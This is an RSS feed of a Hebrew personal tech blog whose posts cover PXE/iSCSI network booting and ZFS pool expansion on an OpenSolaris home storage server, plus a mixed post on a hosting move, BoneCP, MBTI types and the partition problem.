<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>מחשבות, מחשבים, ושאר דברי בלע &#187; ניהול רשת</title>
	<atom:link href="http://firefang.net/blog/category/computers/net-admin/feed" rel="self" type="application/rss+xml" />
	<link>http://firefang.net/blog</link>
	<description>May your sockets never timeout</description>
	<lastBuildDate>Fri, 30 Jul 2010 15:14:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PXE, ISCSI ושאר ירקות</title>
		<link>http://firefang.net/blog/1653</link>
		<comments>http://firefang.net/blog/1653#comments</comments>
		<pubDate>Sat, 19 Jun 2010 15:11:42 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[אופן-סולאריס]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1653</guid>
		<description><![CDATA[לפני כשנה ארגנתי לי מכונת אחסון ביתית שמריצה OpenSolaris (להלן Iron, או איירון).
איירון מכיל היום שישה דיסקים בגדלים שונים (בתצורת MIRROR, ככה שאני מקבל חצי מנפח האחסון נטו).
בהתחלה השתמשתי במכונה בתור כונן גדול לאחסון סרטים ומוסיקה (גדול מאוד, נטו 4TB וכאמור כל ביט כתוב על שני דיסקים), אבל עוד מההתחלה היו לי מחשבות על אחסון [...]]]></description>
			<content:encoded><![CDATA[<p>לפני כשנה <a href="http://firefang.net/blog/1436">ארגנתי</a> לי מכונת אחסון ביתית שמריצה OpenSolaris (להלן Iron, או איירון).<br />
איירון מכיל היום שישה דיסקים בגדלים שונים (בתצורת MIRROR, ככה שאני מקבל חצי מנפח האחסון נטו).<br />
בהתחלה השתמשתי במכונה בתור כונן גדול לאחסון סרטים ומוסיקה (גדול מאוד, נטו 4TB וכאמור כל ביט כתוב על שני דיסקים), אבל עוד מההתחלה היו לי מחשבות על אחסון של ספריית הבית שלי על המכונה הזו כדי להרוויח מהירות שרידות וגיבויים נוחים ויעילים (הכל בחסות <a title="ZFS" href="http://en.wikipedia.org/wiki/ZFS">ZFS</a>).<br />
מכיוון שהדיסקים החדשים יותר שלי נמצאים באיירון המחשב הראשי שלי זכה לקבל שני דיסקים ישנים למדי, של 200GB ו500GB.<br />
על הדיסק של ה200GB מותקנת חלונות 7 שמשמשת אותי למשחקים, ועל הדיסק של ה500 מותקן דביאן לינוקס (Squeeze) שמשמש לכל השאר.<br />
לאחרונה התחילו לצוץ רמזים שהמצב של הדיסקים האלו די ירוד &#8211; bad sectors (מגזרים רעים!), שגיאות קריאה וסריקה (seek) אקראיות, תקיעות אקראיות וכו&#8217;.<br />
הצעד הטבעי במצב כזה הוא לקנות דיסקים חלופיים, אבל זה די בזבוז לקנות דיסקים חדשים כשיש כל כך הרבה מקום איכותי מהיר ופנוי על איירון.<br />
אז התחלתי לחשוב על האפשרות של איתחול דרך הרשת לשתי מערכות ההפעלה על המחשב הראשי.<br />
מחשבים מודרניים תומכים באיתחל רשת דרך PXE (פיקסי).</p>
<p>מילה מקדימה:<br />
כמעט את כל הבדיקות והמשחקים להלן ביצעתי תוך שימוש ב<a href="http://www.virtualbox.org/">VirtualBox</a>.<br />
ווירצ&#8217;ואל בוקס תומך היטב באיתחול פיקסי. כדי לעשות את זה צריך לשנות את הגדרות המכונה הוירטואלית לאיתחול מהרשת.<br />
בנוסף, אם אתם משתמשים כמוני בשרת DHCP ברשת האמיתית, חשוב לשנות את הגדרות כרטיס הרשת של המכונה הוירטואלית למצב Bridged (ברירת המחדל היא NAT) אחרת זה לא יעבוד.</p>
<p>כדי לאפשר למחשבים לבצע איתחול דרך פיקסי צריך את הרכיבים הבאים:</p>
<ul>
<li>שרת DHCP &#8211; שמעביר אוטומטית למחשב הגדרות רשת ופרמטרים לפיקסי.</li>
<li>שרת  TFTP &#8211; שמכיל קבצים שמשמשים את תהליך האתחול. TFTP זה קיצור פרוטוקול טריויאלי להעברת קבצים, והוא מאוד פרימיטיבי ואיטי &#8211; אבל מספיק בשביל להתניע את התהליך.</li>
</ul>
<p>שרת הDHCP צריך לתמוך בכל מני אופציות מתקדמות, לכן לא סביר שהDHCP שמגיע עם הנתב האלחוטי הביתי שלכם יתאים לצורך העניין.<br />
בגדול, הDHCP צריך להכיל שני פרמטרים:</p>
<ul>
<li>TFTPsrvN :  שמכיל את השם או כתובת הIP של המחשב שמריץ את שרת הTFTP</li>
<li>BootFile : שמכיל את השם של קובץ ההפעלה הראשי שמתחיל את תהליך האתחול, ונמצא בתוך ספרית השורש של שרת הTFTP.</li>
</ul>
<p>התהליך הוא כזה:<br />
המחשב מבצע איתחול ומחפש ברשת שרת DHCP שיספר לו מה שרת הTFTP ואיזה קובץ למשוך ממנו, ברגע שהוא מקבל הוא מתחבר לשרת הTFTP, מושך את קובץ ההפעלה ומפעיל אותו.<br />
הקובץ הזה מכיל טוען בוט מיוחד. יש כמה אפשרויות ולמעשה אני עדיין מתנסה בעניין.</p>
<p>מכיוון שאני מתכוון להשתמש במכונת הOpenSolaris לשמירת הקבצים, זה טבעי שאני אשתמש בה גם בשביל שרתי הDHCP והTFTP.<br />
שרת הDHCP הנפוץ ביותר הוא <a href="http://www.isc.org/software/dhcp">ISC DHCP</a> ואולי כדאי לבחור בו כי רוב הדוגמאות שתמצאו ברשת לגבי הגדרת PXE יתאימו לשרת הזה.<br />
אני החלטתי להשתמש בשרת הDHCP שמגיע עם OpenSolaris, יש הוראות התקנה וקינפוג בסיסיות <a href="http://www.sun.com/bigadmin/content/submitted/config_dhcp_server.jsp">כאן</a>.<br />
מה שחסר זה שם זה איך מגדירים את TFTsrvN ואת BootFile:<br />
ככה אני עשיתי את זה:</p>
<div class="codesnip-container" >
<div class="codesnip">pfexec dhtadm -M -m `hostname` -e <span class="re2">BootFile=</span>pxelinux.<span class="nu0">0</span><br />
pfexec dhtadm -M -m `hostname` -e <span class="re2">TFTPsrvN=</span><span class="nu0">10</span>.<span class="nu0">0</span>.<span class="nu0">0</span>.<span class="nu0">4</span></div>
</div>
<p>אפשר גם להשתמש בכלי הגרפי dhcpmgr שיפתח ממשק משתמש שיאפשר שינוים בהגדרות שרת הDHCP.</p>
<h3>טועני בוט</h3>
<p>לדעתי הטוען בוט הפופולרי יותר הוא <a href="http://syslinux.zytor.com/wiki/index.php/PXELINUX">pxelinux</a> שהוא למעשה גרסא מיוחדת של <a href="http://syslinux.zytor.com/">syslinux</a>.<br />
כדי לעבוד עם פיקסילינוקס, צריך לשים את pxelinux.0 בספריית השורש של שרת הtftp (בדרך כלל /tftpboot).<br />
כשפיקסילינוקס עולה, הוא מחפש קבצי הגדרות שמתאימות למחשב לפי סדר הגיוני למדי : קודם קובץ בשם של כתובת הMAC של המחשב, ואז בשם של כתובת הIP, ואז חלק יותר קטן מכתובת הIP וכו&#8217; ולבסוף קובץ השם default שיטען אם לא נמצא קובץ הגדרות יותר ספציפי.</p>
<p><a href="http://firefang.net/blog/wp-content/uploads/2010/06/pxe-boot.png"><img class="alignnone size-full wp-image-1659" title="pxe-boot" src="http://firefang.net/blog/wp-content/uploads/2010/06/pxe-boot.png" alt="" width="728" height="474" /></a></p>
<p>פיקסילינוקס תומך במעין תפריט בוט פשוט, למשל:</p>
<div class="codesnip-container" >LABEL sbm<br />
KERNEL memdisk<br />
APPEND initrd=sbm.bin</p>
<p>LABEL local<br />
LOCALBOOT 0</p></div>
<p>עם התפריט הבא, פיקסילינוקס יציג לנו propmt שבו נוכל להקליד local כדי להמשיך לבוט מקומי או sbm כדי לטעון את  <a href="http://btmgr.sourceforge.net/">Smart boot manager</a> (אפשר למצוא את sbm.bin <a href="ftp://ftp.mcc.ac.uk/beta/local/teaching_cluster/disks/sbm.bin">פה</a>.</p>
<p>דבר אחד שחסר לפיקסילינוקס הוא תמיכה בboot מכונן iscsi.<br />
iscsi הוא פרוטוקול תקשורת שמאפשר שימוש בדיסק מרוחק כאילו הוא דיסק סקאזי מקומי.</p>
<p>מסתבר שפרוייקט אחר בשם gpxe (הידוע גם כ <a href="http://www.etherboot.org/">Etherboot</a>) תומך בבוט מiscsi, ואפילו בבוט מhttp, ftp ועוד.<br />
מסתבר עוד, שיש מעין הכלאה של pxelinux ושל gpxe שמאפשרת את היכולות של pxelinux וגם את היכולות של gpxe, ההכלאה נקראת gpxelinux (איזו הפתעה) והיא כלולה בהורדה של pxelinux.<br />
כדי להשתמש בgpxelinux, צריך לקבוע בשרת הDHCP שקובץ הבוט הוא gpxelinux.0, שאר העבודה בדיוק כמו עם פיקסילינוקס.</p>
<h3>על ISCSI</h3>
<p>לISCSI יש טרמינולוגיה די מעצבנת:</p>
<ul>
<li>Logical unit : המקבילה לדיסק או מחיצה</li>
<li>LUN : המספר של הלוג&#8217;יקל יוניט</li>
<li>Target : מעין מזהה שמגדיר גישה לאחד או יותר יחידות לוגיות, נראה ככה למשל : iqn.1986-03.com.sun:02:2775db99-0772-6e28-bb0e-bcbe420894ee</li>
<li>Initiator : הלקוח, קוד ששולח בקשות IO בפרוטוקול iscsi.</li>
</ul>
<p>אפשר להרים שרת iscsi גם עם לינוקס כמובן, אבל אני משתמש באופן סולאריס בתור מערכת האחסון שלי.</p>
<p>לאופן-סולאריס יש ארכיטקטורה חדשה לiscsi שנקראת <a href="http://hub.opensolaris.org/bin/view/Project+comstar/">Comstar</a>, קומסטר תומך גם בעוד פרוטוקולים כמו ערוץ אופטי (FC) אבל זה לא מעניין אותנו.</p>
<p>יש <a href="http://nwsmith.blogspot.com/2009/07/opensolaris-2009-06-and-comstar-iscsi.html">פה</a> פוסט די טוב שמתאר שימוש בסיסי בקומסטר כדי ליצור iscsi target.<br />
מה שחסר זה שצריך בהתחלה להתקין את stmf ולעשות ריבוט אם זה לא עובד (כן, ריבוט &#8211; יש על זה באג פתוח).</p>
<div class="codesnip-container" >pkg install SUNWstmf</div>
<p>שימו לב שבדוגמא שם הוא מתאר איך ליצור מיפוי שבו כל היחידות הלוגיות זמינות דרך כל הtargetים. אם אתם רוצים משהו יותר מורכב מזה תקראו את התיעוד, ספציפית את <a href="http://wikis.sun.com/display/OpenSolarisInfo/How+to+Make+SCSI+Logical+Units+Available">הדף הזה</a>.</p>
<p>ברגע שהגדרתם target בהצלחה, נשאר לבדוק אותו.<br />
זה די פשוט גם בחלונות 7 או וויסטה וגם בלינוקס. חפשו קצת בגוגל.</p>
<p>לגבי התקנות ואיתחול של של מערכות הפעלה ספציפיות על iscsi, יש תיעוד לרוב בוויקי של <a href="http://www.etherboot.org/">Etherboot</a> .<br />
עדיין לא הצלחתי להגיע לבוט מלא של חלונות 7 או דביאן דרך הרשת, אבל אני מקווה להצליח בקרוב.</p>
<p>צפו לפוסט עדכון לגבי איך ומה עושים לגבי כל אחת מהמערכות כדי להגיע לאיתחול מISCSI. (אלא אם אני אכשל ואז צפו לשקט חשוד).</p>
<p>אם הפוסט הזה עשה לכם תיאבון לנסות, קחו בחשבון שתצטרכו ללמוד הרבה דברים, ואולי תיתקעו בדרך.<br />
זה לא פשוט, וזה לוקח די הרבה זמן להבין את הכל.</p>
<p>פוסטים קשורים:<br />
<a href="http://firefang.net/blog/1409">מכונת אחסון ביתית על אופן-סולאריס<br />
</a><a href="http://firefang.net/blog/1436">אופן סולאריס: תצורה, שיתוף קבצים וגיבויים</a><br />
<a href="http://firefang.net/blog/1619">שידרוג נפח אכסון ZFS על גבי OpenSolaris</a></p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1653/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>שידרוג נפח אכסון ZFS על גבי OpenSolaris</title>
		<link>http://firefang.net/blog/1619</link>
		<comments>http://firefang.net/blog/1619#comments</comments>
		<pubDate>Sun, 18 Apr 2010 19:39:25 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[מחשבים]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1619</guid>
		<description><![CDATA[לפני קצת יוצר מחצי שנה קניתי מכונת אכסון, כשהתוכנית היתה להריץ עליה אופן סולאריס כדי להנות מפירות הZFS.
נהנתי מאוד, עד שהתחלתי להרגיש שקצת צפוף לי, אז החלטתי להרחיב את נפח האכסון.
מכיוון שהתצורה של הדיסקים דומה לRAID10 &#8211; גם MIRROR וגם STRIP, כל הרחבה צריכה לבוא בזוגות.
קניתי שני דיסקים של של סיגייט, בנפח של 2TB כל [...]]]></description>
			<content:encoded><![CDATA[<p>לפני קצת יוצר מחצי שנה <a href="http://firefang.net/blog/1436">קניתי</a> מכונת אכסון, כשהתוכנית היתה להריץ עליה אופן סולאריס כדי להנות מפירות הZFS.<br />
נהנתי מאוד, עד שהתחלתי להרגיש שקצת צפוף לי, אז החלטתי להרחיב את נפח האכסון.<br />
מכיוון שהתצורה של הדיסקים דומה לRAID10 &#8211; גם MIRROR וגם STRIP, כל הרחבה צריכה לבוא בזוגות.<br />
קניתי שני דיסקים של של סיגייט, בנפח של 2TB כל אחד, ובפוסט זה אתאר את התהליך של השדרוג.<br />
אחרי הקטע המלכלך של לחבר את הדיסקים, הרצתי את הפקודה הבאה:</p>
<div class="codesnip-container" >root@iron:~# zpool add storage mirror c10d0 c11d0</div>
<p>זהו, השדרוג הסתיים.<br />
הפקודה הזו אומרת, תוסיף לבריכת האיכסון שנקראת storage יחידה וירטואלית חדשה מסוג ראי, שבנויה מהדיסקים c10d0 וc11d0.<br />
הפקודה לקחה שניה, ובתום השניה נוספו לי כ2TB נלנפח האכסון במכונה. לא צריך fdisk ולא צריך לפרמט.<br />
ככה נראה הpool הראשי שלי כרגע, הוא מורכב מארבעה דיסקים מלאים ומשתי מחיצות שתופסות את רוב הנפח של שני הדיסקים הנותרים.<br />
למעשה, אין לי מקום לעוד דיסקים במכונה, מה שאומר שבשדרוג הבא אני אעשה משהו שעדיין לא יצא לי לעשות: להחליף דיסקים קטנים בדיסקים יותר גדולים.</p>
<div class="codesnip-container" >
<div class="codesnip">root@iron:~<span class="co1"># zpool status storage</span><br />
&nbsp; pool: storage<br />
&nbsp;state: ONLINE<br />
&nbsp;scrub: none requested<br />
config:</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; NAME&nbsp; &nbsp; &nbsp; &nbsp; STATE&nbsp; &nbsp; &nbsp;READ WRITE CKSUM<br />
&nbsp; &nbsp; &nbsp; &nbsp; storage&nbsp; &nbsp; &nbsp;ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c8d0p2&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c9d0p2&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c9d1&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c8d1&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c10d0&nbsp; &nbsp;ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c11d0&nbsp; &nbsp;ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span></div>
</div>
<p>ZFS זה כיף.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1619/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>מגה פוסט &#8211; שרת חדש, טיפוסי אישיות ועוד</title>
		<link>http://firefang.net/blog/1525</link>
		<comments>http://firefang.net/blog/1525#comments</comments>
		<pubDate>Sat, 16 Jan 2010 10:46:00 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[פיירפנג.רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1525</guid>
		<description><![CDATA[עבר הרבה זמן מאז שהיה פה פוסט רציני, כל פעם שהיה לי על מה לכתוב זה איך שהוא התמסמס ותוייק בתיקיית האחר כך.
אז זה יהיה פוסט מוזר, מוזר מאוד אפילו &#8211; שיהיה בעצם ערמת פוסטים מרוכזים.
אולי במהלך הכתיבה של תת פוסט כזה אני אגלה שאני מעדיף שהוא יהיה בעצם פוסט שלם, אבל נראה.
שרת חדש
הגיעה התקופה [...]]]></description>
			<content:encoded><![CDATA[<p>עבר הרבה זמן מאז שהיה פה פוסט רציני, כל פעם שהיה לי על מה לכתוב זה איך שהוא התמסמס ותוייק בתיקיית האחר כך.<br />
אז זה יהיה פוסט מוזר, מוזר מאוד אפילו &#8211; שיהיה בעצם ערמת פוסטים מרוכזים.<br />
אולי במהלך הכתיבה של תת פוסט כזה אני אגלה שאני מעדיף שהוא יהיה בעצם פוסט שלם, אבל נראה.</p>
<h2>שרת חדש</h2>
<p>הגיעה התקופה הזו, שבה אני פחות מרוצה מההוסיטנג שלי ועברתי להוסיטנג חדש.</p>
<p>למעשה הייתי מרוצה מספיק מeSecureData (<a title="אליהם עברתי " href="http://firefang.net/blog/983">אליהם עברתי </a>מ<a title="HCOOP" href="http://firefang.net/blog/775">HCOOP</a> לפני פחות משנה וחצי).<br />
מהירות התקשורת היתה קצת מאכזבת אבל לא היו יותר מדי תקלות.<br />
אז למה עברתי?<br />
במסגרת העבודה שלי ב<a href="http://www.face.com/">face.com</a> (כן, אני עובד בface.com, לא חושב שיצא לי להזכיר את זה פה עד עכשיו) אני עובד מול חברת אכסון בשם <a href="http://www.centralhost.com/">CentralHost</a> בסן דייגו, ומחזיק אצלם מספר לא מבוטל של שרתים. בשנה וחצי בשנה חצי שאני עובד שם, הייתי מאוד מרוצה מהם ומרמת התמיכה שלהם &#8211; אם כי המחיר שלהם הוא גבוה משמעותית מזה של eSecureData, לפחות למכונות החזקות שאני מחזיק שם במסגרת העבודה.<br />
בכל אופן, יש לי יחסים מצויינים עם בעל החברה, וכששאלתי אם יש לו הצעה אלטרנטיבית שתאפשר לי להעביר את השרת שלי אליו הוא הסכים לתת לי מחשב באותו מחיר שאני מקבל בeSecureData &#8211; שזה $79 לחודש, עם יותר זכרון (4 ג&#8217;יגה במקום 2 ג&#8217;יגה), ושני הרדיסקים של 500 בתצורת רייד 1 (ראי, אם הרדיסק אחד מת לא קורה כלום ופשוט מחליפים אותו) לעומת הרדיסק אחד בלבד בשרת הישן.<br />
העברתי בעזרתו את השרת למכונה החדשה, ולמעט שינויי הגדרות קטנים בשרת הDNS שאני מריץ, ובהגדרות הDNS ברשת הדומיינים שלי הכל פשוט עובד.<br />
אני בטוח שיהיו עוד חבלי לידה, אבל אם אתם קוראים את זה, אתם עובדים מול השרת החדש.<br />
אז כמו תמיד, יש לי מקום לאורחים. מי שחושב לעבור שרת למשהו יותר רציני מאיכסון משותף בגודדי שיצור קשר. (רק לאנשים שמרגישים בנוח עם SSH).</p>
<h2>BoneCP</h2>
<p>השתמשתי ב<a title="Proxool" href="http://proxool.sourceforge.net/">Proxool</a> בתור <a href="http://en.wikipedia.org/wiki/Connection_pool">Connection pool</a> לבסיס הנתונים במשך די הרבה זמן, ועם הזמן גיליתי בעיות &#8211; שאומנם די נדירות אבל מספיק חמורות כדי שאני אחפש פתרון.<br />
חשבתי לפתור אותן בעצמי, וגיליתי שהוא לא מתקמפל על JDK מודרני. <a href="http://sourceforge.net/mailarchive/forum.php?thread_name=4A758506.3040709%40face.com&amp;forum_name=proxool-developer">שלחתי מייל</a> לרשימת התפוצה שלו לגבי העניין, וחודשים עברו בלי שום תגובה ובלי הודעות נוספות.<br />
היה ריח של פרוייקט מת באוויר, וכשנתקלתי בבעיה נוספת (100% CPU בקוד של פרוקסול לעיתים נדירות), החלטתי לחפש Connection pool אחד.<br />
בסוף הגעתי ל<a href="http://jolbox.com/">BoneCP</a> שאומנם מוגדר כבטא, אבל עובד היטב &#8211; וחשוב יותר &#8211; המפתח שלו עונה לאימיילים ומתקן באגים.</p>
<h2>טיפוסי אישיות</h2>
<p>מי שלמד פסיכולוגיה (לא אני) מכיר את העניין הזה לעומק כנראה, אבל אני מניח שרוב הקוראים פה לא למדו פסיכולוגיה אני אכנס לעניין:<br />
במהלך שיטוטי באינטרנט בחיפוש אחרי ספרייה לDecoding של תמונות בC או C++ (יש מילה בעברית לDecoding? פענוח? פרישה?) נתקלתי ב<a href="http://www.xdp.it/cximage.htm">CxImage</a>, וראיתי בדף האודות של המפתח שהוא טוען שהאישיות שלו היא מסוג <a href="http://www.typelogic.com/intj.html">INTJ</a>.<br />
אני די בטוח שנתקלתי בסוג הקטלוג הזה למחלקות אישיות בעבר, אבל הפעם הסתקרנתי, אם הוא INTJ אז מה אני? וכמה הדבר הזה בכלל עובד?</p>
<p>התחלתי לחקור, מסתבר שמדובר במבחן פסיכומטרי שמבוסס על העבודה של קארל יאנג מ1920 ופותח על ידי קתרין קוק בריגס וביתה איזבל בריגס מיירס, והמבחן קרוי על שמן: Myers-Briggs Type Indicator או <a href="http://en.wikipedia.org/wiki/Myers-Briggs_Type_Indicator">MTBI</a>.<br />
בגדול, הרעיון הוא שהאישיות של בני אדם נקבעת על ידי ארבעה תכונות, כאשר לכל תכונה יש שני צדדים (מוחצן &#8211; מופנם, חושב &#8211; מרגיש) וכו&#8217;, ואצל כל אחד תכונה אחת מכל זוג היא יותר דומיננטית מהשניה.</p>
<p>הזוגות הם:</p>
<ul>
<li>התנהגות &#8211; מוחצן או מפונם :  האם רוב המחשבה של האדם מופנית החוצה או פנימה</li>
<li>תפיסה &#8211; חש או אינטואיטיבי : איך האדם קולט מידע חדש, האם הוא סומך יותר על תחושות פנימיות או על מידע קונקרטי</li>
<li>החלטה &#8211; חושב או מרגיש : איך האדם  מבצע החלטות רציונליות בניתוח של המידע שהוא קיבל באמצעי התפיסה, האם הוא מעדיף חשיבה וניתוח לוגי או החלטה לפי הרגשה והזדהות עם המצב.</li>
<li>סיגנון חיים &#8211; שיפוטי או תפיסתי : האם האדם מעדיף להשתמש בבהחלטה (חושב/מרגיש) או בתפיסה (חש/אינטואיטיבי) כשהוא מתייחס אל העולם החיצוני.</li>
</ul>
<p>קצת מבלבל, ואולי התרגום שלי לא מאוד מדוייק (יש הרבה מאוד חומר מדוייק על זה באינטרנט).</p>
<p>סך הכל יש ארבע &#8216;ביטים&#8217; כשלכל ביט יש שתי אפשרויות, מה שיוצר 16 קומבינציות.<br />
<img class="alignnone" title="MBTI" src="http://www.typelogic.com/graphics/index_mainlogo.jpg" alt="" width="164" height="160" /></p>
<p>מצאתי <a href="http://www.humanmetrics.com/cgi-win/JTypes2.asp">מבחן</a> עם כ-70 שאלות כן/לא שמוצא את הטיפוס שלכם, וקיבלתי שגם אני INTJ.<br />
קראתי קצת על INTJ, ונראה שלפחות לגבי &#8211; המבחן יצא מאוד מדוייק.</p>
<h2>בעיית החלוקה</h2>
<p>שוב ושוב אני נתקל בבעיה הבאה:<br />
בהנתן קבוצת מספרים, איך מחלקים אותה לשתי קבוצות כך שסכום המספרים בכל קבוצה יהיה קרוב ככל האפשר לסכום המספרים בקבוצה השניה.<br />
במילים אחרות, שאף קבוצה לא תהיה &#8216;כבדה&#8217; הרבה יותר מהשניה בצורה שניתנת לתיקון על ידי סידור מחדש של האיברים בקבוצות.</p>
<p>הרחבה טבעית של השאלה הזו, היא איך מחלקים את הקבוצה לk קבוצות, לאו דווקא רק לשתיים.<br />
הנה כמה דוגמאות למצבים שבהם אלגוריתם כזה יהיה שימושי:</p>
<p>דמיינו משחק מרובה משתתפים שעובד בסיבובים. בכל סיבוב יש שתי קבוצות שנלחמות אחת בשניה. חלוקה אקראית של השחקנים לשתי קבוצות תגרום למצב שבו כל השחקנים החזקים נופלים בקבוצה אחת ואז המשחק לא יהיה מהנה במיוחד לאף אחת מהקבוצות.<br />
חלוקה אידיאלית תהיה כזו שההפרש בין סכומי היכולת בכל קבוצה יהיה נמוך (קבוצות מאוזנות). נניח שיש לנו מדד ליכולת של שחקן (יחס נצחונות/הפסדים ב20 המשחקים האחרונים, או דרגה או כל דבר אחר) נוכל להשתמש באלגוריתם חלוקה כזה כדי למצוא חלוקה טובה של הקבוצות.</p>
<p>דוגמא נוספת: נניח שיש לכם ערמת עבודות, וכמה מחשבים שיכולים לבצע את העבודות. איך תחלקו את העבודות בין המחשבים כך שעבודות יסתיימו בהקדם? אם אחד המחשבים יקבל את כל העבודות הכבדות אז הוא יסיים הרבה אחרי כולם, אז שוב אנחנו מחפשים חלוקה מאוזנת (הפעם לk מחשבים).</p>
<p>אוקיי, עכשיו שמצאנו למה פתרון לבעיה הזה יהיה שימושי, תחשבו על הבעיה ואם יש לכם פתרון נדבר עליו בתגובות.<br />
אני אדבר על הפתרון שלי בפוסט הבא.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1525/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>אופן סולאריס: תצורה, שיתוף קבצים וגיבויים</title>
		<link>http://firefang.net/blog/1436</link>
		<comments>http://firefang.net/blog/1436#comments</comments>
		<pubDate>Sat, 08 Aug 2009 17:17:28 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1436</guid>
		<description><![CDATA[מכונת האיכסון שלי, להלן איירון, כבר די מוכנה.
תצורת דיסקים ומערכת הקבצים
זו התצורה הנוכחית של הZFS באיירון:

omry@iron:~/dev/zync$ zpool status
&#160; pool: rpool
&#160;state: ONLINE
&#160;scrub: none requested
config:
&#160; &#160; &#160; &#160; NAME&#160; &#160; &#160; &#160; STATE&#160; &#160; &#160;READ WRITE CKSUM
&#160; &#160; &#160; &#160; rpool&#160; &#160; &#160; &#160;ONLINE&#160; &#160; &#160; &#160;0&#160; &#160; &#160;0&#160; &#160; &#160;0
&#160; &#160; &#160; &#160; &#160; mirror&#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>מכונת האיכסון שלי, להלן איירון, כבר די מוכנה.</p>
<h2>תצורת דיסקים ומערכת הקבצים</h2>
<p>זו התצורה הנוכחית של הZFS באיירון:</p>
<div class="codesnip-container" >
<div class="codesnip">omry@iron:~/dev/zync$ zpool status<br />
&nbsp; pool: rpool<br />
&nbsp;state: ONLINE<br />
&nbsp;scrub: none requested<br />
config:</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; NAME&nbsp; &nbsp; &nbsp; &nbsp; STATE&nbsp; &nbsp; &nbsp;READ WRITE CKSUM<br />
&nbsp; &nbsp; &nbsp; &nbsp; rpool&nbsp; &nbsp; &nbsp; &nbsp;ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
